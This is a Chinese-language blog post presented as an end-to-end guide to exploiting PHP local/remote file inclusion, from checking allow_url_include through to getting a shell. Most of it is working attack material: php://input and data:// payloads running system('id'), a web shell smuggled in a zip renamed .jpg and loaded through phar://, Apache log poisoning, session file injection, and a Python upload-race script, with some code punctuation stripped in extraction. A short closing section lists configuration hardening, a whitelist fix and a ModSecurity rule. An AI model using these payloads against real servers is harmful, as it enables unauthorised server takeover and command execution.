从allow_url_include配置到Getshell:一个PHP文件包含漏洞的完整利用链搭建指南

张开发
2026/4/16 21:46:49 15 分钟阅读

分享文章

从allow_url_include配置到Getshell:一个PHP文件包含漏洞的完整利用链搭建指南
PHP文件包含漏洞实战从协议利用到权限获取的全链路解析当你在渗透测试中发现目标服务器开启了allow_url_include配置时就像拿到了打开宝库的钥匙。这个配置项本意是为了方便开发者动态加载远程代码但却经常成为攻击者突破防线的突破口。本文将带你完整走通从漏洞发现到最终控制服务器的全流程涵盖PHP 5.2到7.x各版本的差异化利用技巧。1. 漏洞环境侦察与确认在开始攻击前我们需要先确认目标环境的地形地貌。经典的探针文件phpinfo.php能提供关键情报curl -I http://target.com/phpinfo.php | grep PHP Version如果无法直接获取phpinfo可以通过错误触发来收集信息。尝试访问不存在的参数触发警告http://target.com/index.php?filenonexistent.php观察返回的错误信息常见的有效情报包括PHP版本号范围5.3.4 / 7.2.1等服务器绝对路径泄露已加载的扩展模块列表关键配置检查表allow_url_fopen状态allow_url_include状态open_basedir限制范围disable_functions黑名单提示现代PHP环境通常会在错误提示中隐藏敏感信息此时需要依赖差异化的协议响应来判断配置状态2. 协议选择与利用链构建不同PHP版本对协议的支持程度差异显著下面是主流协议的版本适配矩阵协议类型PHP 5.2PHP 5.3PHP 5.6PHP 7.xphp://input✓✓✓✓phar://×✓✓✓zip://✓✓✓✓data://✓✓✓✓expect://✓✓××2.1 php://input的实战应用当allow_url_includeOn时这是最直接的利用方式。通过Burp Suite构造请求GET /index.php?filephp://input HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 33 ?php system(id); ?绕过技巧当存在WAF过滤?php标签时可以尝试? ls -la ?使用短标签变形% system(whoami); %2.2 phar协议的高级利用phar协议在文件上传场景中特别有效。假设我们有一个图片上传点创建恶意PHP文件// shell.php ?php system($_GET[cmd]); ?压缩并修改后缀zip shell.jpg shell.php通过包含触发http://target.com/index.php?filephar://./uploads/shell.jpg/shell.php注意PHP 5.3.0以下版本不支持phar协议且需要目标服务器开启phar扩展3. 持久化与权限提升获取初始立足点后我们需要建立稳定的控制通道。推荐几种持久化方法3.1 Web日志污染技术当其他方法都失效时日志文件往往是最可靠的突破口。Apache环境下http://target.com/index.php?file?php system($_GET[cmd]);?这会将恶意代码写入访问日志然后包含日志文件http://target.com/index.php?file/var/log/apache2/access.log日志路径参考表服务器类型默认日志路径Apache/var/log/apache2/access.logNginx/var/log/nginx/access.logIISC:\inetpub\logs\LogFiles\W3SVC1\3.2 Session文件注入在具有文件上传但无法直接访问上传目录时获取当前session IDPHPSESSID通过表单注入恶意代码到session文件包含session文件路径/tmp/sess_[PHPSESSID]4. 现代环境下的绕过艺术随着PHP版本升级传统的利用方式逐渐失效。以下是针对新环境的技巧4.1 编码混淆技术使用base64编码绕过内容检测http://target.com/index.php?filephp://filter/convert.base64-decode/resourcedata://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg4.2 临时文件竞争利用结合文件上传与LFI的时序攻击import requests while True: files {file: (shell.php, ?php system($_GET[cmd]);?)} requests.post(http://target.com/upload.php, filesfiles) r requests.get(http://target.com/index.php?file/tmp/phpXXXXXX) if uid in r.text: print(Shell uploaded!) break5. 防御视角的漏洞修复建议理解攻击手法后开发者可以更有针对性地加固系统配置加固allow_url_include Off allow_url_fopen Off open_basedir /var/www/html代码层防护$allowed [header.php, footer.php]; if(in_array($_GET[file], $allowed)) { include($_GET[file]); }WAF规则示例ModSecuritySecRule ARGS_GET:file rx (php://|phar://|zip://) \ id:1001,deny,msg:PHP Wrapper Attack Attempt在PHP 8.0环境中许多历史漏洞已被默认修复但开发者仍需保持警惕。定期进行代码审计和安全测试才是防御这类漏洞的根本之道。

更多文章